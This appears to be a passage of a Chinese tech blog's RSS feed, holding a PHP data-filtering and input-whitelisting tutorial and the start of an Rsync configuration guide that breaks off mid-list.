<p>　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1" title="面向对象" rel="tag">面向对象</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP安全之数据过滤</title>
		<link>http://www.5bay.cn/network-programming/phpeezhanchang.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeezhanchang.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:38:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[PHP安全]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[重定向]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=462</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeezhanchang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到： 确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。 关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。 调度方法 这种方法是用一个单一的 PHP 脚本调度（通过 URL）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 URL 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如： http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情： 在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。 容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。 看下面的例子以便进一步讨论dispatch.php脚本: 如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。 注意 如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。 你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。 包含方法 另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc 在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 HTML 表单如下所示： Username: Password: 叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。 注意 确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。 过滤的例子 建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。 下面的代码对邮件地址进行了验证：]]></description>
			<content:encoded><![CDATA[<p>在指南的开始，我们说过数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据，而一个好的软件设计可以帮助开发人员做到：</p>
<p>确保数据过滤无法被绕过，确保不合法的信息不会影响合法的信息，并且识别数据的来源。</p>
<p>关于如何确保数据过滤无法被绕过有各种各样的观点，而其中的两种观点比其他更加通用并可提供更高级别的保障。<br />
<span id="more-462"></span><br />
调度方法</p>
<p>这种方法是用一个单一的 PHP 脚本调度（通过 <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>）。其他任何操作在必要的时候使用include或require包含进来。这种方法一般需要每个 <a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a> 都传递一个单独的GET变量用于调度。这个GET变量可以被认为是用来替代脚本名称的更加简化的设计。例如：</p>
<p>http://example.org/dispatch.php?task=print_formdispatch.php是唯一的根文件(Document root)。它可以让开发者做两件非常重要的事情：</p>
<p>在dispatch.php最开始实现一些全局的安全处理，并且确保这些处理不可以被绕过。</p>
<p>容易确定在必要的地方进行数据过滤，特别是一些特殊目的的控制流操作中。</p>
<p>看下面的例子以便进一步讨论dispatch.php脚本:</p>
<p><?php/* 全局安全处理 */switch ($_GET['task']){case 'print_form':include '/inc/presentation/form.inc';break;case 'process_form':$form_valid = false;include '/inc/logic/process.inc';if ($form_valid){include '/inc/presentation/end.inc';}else{include '/inc/presentation/form.inc';}break;default:include '/inc/presentation/index.inc';break;}?></p>
<p>如果这是唯一的可公开访问到的 PHP 脚本，则可以确信的一点是这个程序的设计可以确保在最开始的全局安全处理无法被绕过。同时也让开发者容易看到特定任务的控制流程。例如，不需要浏览整个代码就可以容易的知道：当$form_valid为true时，end.inc是唯一显示给用户的；由于它在process.inc被包含之前，并刚刚初始化为false，可以确定的是process.inc的内部逻辑会将设置它为true；否则表单将再次显示（可能会显示相关的错误信息）。</p>
<p>注意</p>
<p>如果你使用目录定向文件，如index.php（代替dispatch.php），你可以像这样使用 URL 地址：http://example.org/?task=print_form。</p>
<p>你还可以使用 ApacheForceType重定向或者mod_rewrite来调整 URL 地址：http://example.org/app/print-form。</p>
<p>包含方法</p>
<p>另外一种方式是使用单独一个模块，这个模块负责所有的安全处理。这个模块被包含在所有公开的 PHP 脚本的最前端（或者非常靠前的部分）。参考下面的脚本security.inc</p>
<p><?phpswitch ($_POST['form']){case 'login':$allowed = array();$allowed[] = 'form';$allowed[] = 'username';$allowed[] = 'password';$sent = array_keys($_POST);if ($allowed == $sent){include '/inc/logic/process.inc';}break;}?>在本例中，每个提交过来的表单都认为应当含有form这个唯一验证值，并且security.inc独立处理表单中0需要过滤的数据。实现这个要求的 <a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">HTML</a> 表单如下所示：</p>
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:<br />
<input type="text" name="username" /></p>
<p>Password:<br />
<input type="password" name="password" /></p>
<input type="submit" /></form>
<p>叫做$allowed的数组用来检验哪个表单变量是允许的， 这个列表在表单被处理前应当是一致的。流程控制决定要执行什么，而process.inc是真正过滤后的数据到达的地方。</p>
<p>注意</p>
<p>确保security.inc总是被包含在每个脚本的最开始的位置比较好的方法是使用auto_prepend_file设置。</p>
<p>过滤的例子</p>
<p>建立白名单对于数据过滤是非常重要的。由于不可能对每一种可能遇到的表单数据都给出例子，部分例子可以帮助你对此有一个大体的了解。</p>
<p>下面的代码对邮件地址进行了验证：</p>
<p><?php$clean = array();$email_pattern = '/^[^@\s<&#038;>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i&#8217;;if (preg_match($email_pattern, $_POST['email'])){$clean['email'] = $_POST['email'];}?>下面的代码确保了$_POST['color']的内容是red，green，或者blue：</p>
<p><?php$clean = array();switch ($_POST['color']){case 'red':case 'green':case 'blue':$clean['color'] = $_POST['color'];break;}?>下面的代码确保$_POST['num']是一个整数（integer）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(intval($_POST['num']))){$clean['num'] = $_POST['num'];}?>下面的代码确保$_POST['num']是一个浮点数（float）：</p>
<p><?php$clean = array();if ($_POST['num'] == strval(floatval($_POST['num']))){$clean['num'] = $_POST['num'];}?>名字转换<br />
之前每个例子都使用了数组$clean。对于开发人员判断数据是否有潜在的威胁这是一个很好的习惯。 永远不要在对数据验证后还将其保存在$_POST或者$_GET中，作为开发人员对超级全局数组中保存的数据总是应当保持充分的怀疑。</p>
<p>需要补充的是，使用$clean可以帮助思考还有什么没有被过滤，这更类似一个白名单的作用。可以提升安全的等级。</p>
<p>如果仅仅将验证过的数据保存在$clean，在数据验证上仅存的风险是你所引用的数组元素不存在，而不是未过滤的危险数据。</p>
<p>时机</p>
<p>一旦 PHP 脚本开始执行，则意味着 HTTP 请求已经全部结束。此时，用户便没有机会向脚本发送数据。因此，没有数据可以被输入到脚本中（甚至register_globals被开启的情况下）。这就是为什么初始化变量是非常好的习惯。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpaa" title="PHP安全" rel="tag">PHP安全</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%87%8D%E5%AE%9A%E5%90%91" title="重定向" rel="tag">重定向</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeezhanchang.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rsync详解</title>
		<link>http://www.5bay.cn/server-building/rsyncxiangjie.html</link>
		<comments>http://www.5bay.cn/server-building/rsyncxiangjie.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:38:09 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[实例]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=380</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/rsyncxiangjie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>1、什么是Rsync Rsync（remote synchronize）是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远程两个主机之间的文件达到同步，这个算法只传送两个文件的不同部分，而不是每次都整份传送，因此速度相当快。   Rsync本来是用于替代rcp的一个工具，目前由rsync.samba.org维护，所以rsync.conf文件的格式类似于samba的主配置文件。Rsync可以通过rsh或ssh使用，也能以daemon模式去运行，在以daemon方式运行时Rsync server会打开一个873端口，等待客户端去连接。连接时，Rsync server会检查口令是否相符，若通过口令查核，则可以开始进行文件传输。第一次连通完成时，会把整份文件传输一次，以后则就只需进行增量备份。 Rsync支持大多数的类Unix系统，无论是Linux、Solaris还是BSD上都经过了良好的测试。此外，它在windows平台下也有相应的版本，如cwRsync和Sync2NAS等工具。 Rsync的基本特点如下： 1.可以镜像保存整个目录树和文件系统； 2.可以很容易做到保持原来文件的权限、时间、软硬链接等； 3.无须特殊权限即可安装； 4.优化的流程，文件传输效率高； 5.可以使用rsh、ssh等方式来传输文件，当然也可以通过直接的socket连接； 6.支持匿名传输。 2、Rsync同步算法 Rsync只所以同步文件的速度相当快，是因为“Rsync同步算法”能在很短的时间内计算出需要备份的数据，关于Rsync的同步算法描述如下： 假定在1号和2号两台计算机之间同步相似的文件A与B，其中1号对文件A拥有访问权，2号对文件B拥有访问权。并且假定主机1号与2号之间的网络带宽很小。那么rsync算法将通过下面的五个步骤来完成： 1、2号将文件B分割成一组不重叠的固定大小为S字节的数据块，最后一块可能会比S 小。 2、2号对每一个分割好的数据块执行两种校验：一种是32位的滚动弱校验，另一种是128位的MD4强校验。 3、2号将这些校验结果发给1号。 4、1号通过搜索文件A的所有大小为S的数据块(偏移量可以任选，不一定非要是S的倍数)，来寻找与文件B的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。 5、1号发给2号一串指令来生成文件A在2号上的备份。这里的每一条指令要么是对文件B经拥有某一个数据块而不须重传的证明，要么是一个数据块，这个数据块肯定是没有与文件B的任何一个数据块匹配上的。 3、Rsync参数说明 3.1 rsyncd.conf配置文件 －、全局参数 在文件中[module]之前的所有参数都是全局参数，当然也可以在全局参数部分定义模块参数，这时候该参数的值就是所有模块的默认值。 port 指定后台程序使用的端口号，默认为873。 motd file “motd file”参数用来指定一个消息文件，当客户连接服务器时该文件的内容显示给客户，默认是没有motd文件的。 log file “log file”指定rsync的日志文件，而不将日志发送给syslog。比如可指定为“/var/log/rsyncd.log”。 pid file 指定rsync的pid文件，通常指定为“/var/run/rsyncd.pid”。 syslog facility 指定rsync发送日志消息给syslog时的消息级别，常见的消息级别是：uth, authpriv, cron, daemon, ftp, kern, lpr, mail, news, security, sys-log, [...]]]></description>
			<content:encoded><![CDATA[<p>1、什么是Rsync</p>
<p>Rsync（remote synchronize）是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远程两个主机之间的文件达到同步，这个算法只传送两个文件的不同部分，而不是每次都整份传送，因此速度相当快。</p>
<p> <span id="more-380"></span></p>
<p>Rsync本来是用于替代rcp的一个工具，目前由rsync.samba.org维护，所以rsync.conf文件的格式类似于samba的主配置文件。Rsync可以通过rsh或ssh使用，也能以daemon模式去运行，在以daemon方式运行时Rsync server会打开一个873端口，等待客户端去连接。连接时，Rsync server会检查口令是否相符，若通过口令查核，则可以开始进行文件传输。第一次连通完成时，会把整份文件传输一次，以后则就只需进行增量备份。</p>
<p>Rsync支持大多数的类Unix系统，无论是Linux、Solaris还是BSD上都经过了良好的测试。此外，它在windows平台下也有相应的版本，如cwRsync和Sync2NAS等工具。</p>
<p>Rsync的基本特点如下：</p>
<p>1.可以镜像保存整个目录树和文件系统；</p>
<p>2.可以很容易做到保持原来文件的权限、时间、软硬链接等；</p>
<p>3.无须特殊权限即可安装；</p>
<p>4.优化的流程，文件传输效率高；</p>
<p>5.可以使用rsh、ssh等方式来传输文件，当然也可以通过直接的socket连接；</p>
<p>6.支持匿名传输。<br />
2、Rsync同步算法</p>
<p>Rsync只所以同步文件的速度相当快，是因为“Rsync同步算法”能在很短的时间内计算出需要备份的数据，关于Rsync的同步算法描述如下：</p>
<p>假定在1号和2号两台计算机之间同步相似的文件A与B，其中1号对文件A拥有访问权，2号对文件B拥有访问权。并且假定主机1号与2号之间的网络带宽很小。那么rsync算法将通过下面的五个步骤来完成：</p>
<p>1、2号将文件B分割成一组不重叠的固定大小为S字节的数据块，最后一块可能会比S 小。<br />
2、2号对每一个分割好的数据块执行两种校验：一种是32位的滚动弱校验，另一种是128位的MD4强校验。<br />
3、2号将这些校验结果发给1号。<br />
4、1号通过搜索文件A的所有大小为S的数据块(偏移量可以任选，不一定非要是S的倍数)，来寻找与文件B的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。<br />
5、1号发给2号一串指令来生成文件A在2号上的备份。这里的每一条指令要么是对文件B经拥有某一个数据块而不须重传的证明，要么是一个数据块，这个数据块肯定是没有与文件B的任何一个数据块匹配上的。</p>
<p>3、Rsync参数说明<br />
3.1 rsyncd.conf配置文件<br />
－、全局参数</p>
<p>在文件中[module]之前的所有参数都是全局参数，当然也可以在全局参数部分定义模块参数，这时候该参数的值就是所有模块的默认值。</p>
<p>port</p>
<p>指定后台程序使用的端口号，默认为873。<br />
motd file</p>
<p>“motd file”参数用来指定一个消息文件，当客户连接服务器时该文件的内容显示给客户，默认是没有motd文件的。<br />
log file</p>
<p>“log file”指定rsync的日志文件，而不将日志发送给syslog。比如可指定为“/var/log/rsyncd.log”。<br />
pid file</p>
<p>指定rsync的pid文件，通常指定为“/var/run/rsyncd.pid”。<br />
syslog facility</p>
<p>指定rsync发送日志消息给syslog时的消息级别，常见的消息级别是：uth, authpriv, cron, daemon, ftp, kern, lpr, mail, news, security, sys-log, user, uucp, local0, local1, local2, local3,local4, local5, local6和local7。默认值是daemon。</p>
<p>二、模块参数</p>
<p>主要是定义服务器哪个目录要被同步。其格式必须为“[module]”形式，这个名字就是在rsync 客户端看到的名字，其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是通过 path 来指定的。我们可以根据自己的需要，来指定多个模块，模块中可以定义以下参数：</p>
<p>comment</p>
<p>给模块指定一个描述，该描述连同模块名在客户连接得到模块列表时显示给客户。默认没有描述定义。<br />
path</p>
<p>指定该模块的供备份的目录树路径，该参数是必须指定的。<br />
use chroot</p>
<p>如果”use chroot”指定为true，那么rsync在传输文件以前首先chroot到path参数所指定的目录下。这样做的原因是实现额外的安全防护，但是缺点是需要以roots权限，并且不能备份指向外部的符号连接所指向的目录文件。默认情况下chroot值为true。<br />
uid</p>
<p>该选项指定当该模块传输文件时守护进程应该具有的uid，配合gid选项使用可以确定哪些可以访问怎么样的文件权限，默认值是”nobody”。<br />
gid</p>
<p>该选项指定当该模块传输文件时守护进程应该具有的gid。默认值为”nobody”。<br />
max connections</p>
<p>指定该模块的最大并发连接数量以保护服务器，超过限制的连接请求将被告知随后再试。默认值是0，也就是没有限制。<br />
list</p>
<p>该选项设定当客户请求可以使用的模块列表时，该模块是否应该被列出。如果设置该选项为false，可以创建隐藏的模块。默认值是true。<br />
read only</p>
<p>该选项设定是否允许客户上载文件。如果为true那么任何上载请求都会失败，如果为false并且服务器目录读写权限允许那么上载是允许的。默认值为true。<br />
exclude</p>
<p>用来指定多个由空格隔开的多个文件或目录(相对路径)，并将其添加到exclude列表中。这等同于在客户端命令中使用&#8211;exclude来指定模式，一个模块只能指定一个exclude选项。但是需要注意的一点是该选项有一定的安全性问题，客户很有可能绕过exclude列表，如果希望确保特定的文件不能被访问，那就最好结合uid/gid选项一起使用。<br />
exclude from</p>
<p>指定一个包含exclude模式的定义的文件名，服务器从该文件中读取exclude列表定义。<br />
include</p>
<p>用来指定不排除符合要求的文件或目录。这等同于在客户端命令中使用&#8211;include来指定模式，结合include和exclude可以定义复杂的exclude/include规则。<br />
include from</p>
<p>指定一个包含include模式的定义的文件名，服务器从该文件中读取include列表定义。<br />
auth users</p>
<p>该选项指定由空格或逗号分隔的用户名列表，只有这些用户才允许连接该模块。这里的用户和系统用户没有任何关系。如果”auth users”被设置，那么客户端发出对该模块的连接请求以后会被rsync请求challenged进行验证身份这里使用的challenge/response认证协议。用户的名和密码以明文方式存放在”secrets file”选项指定的文件中。默认情况下无需密码就可以连接模块(也就是匿名方式)。<br />
secrets file</p>
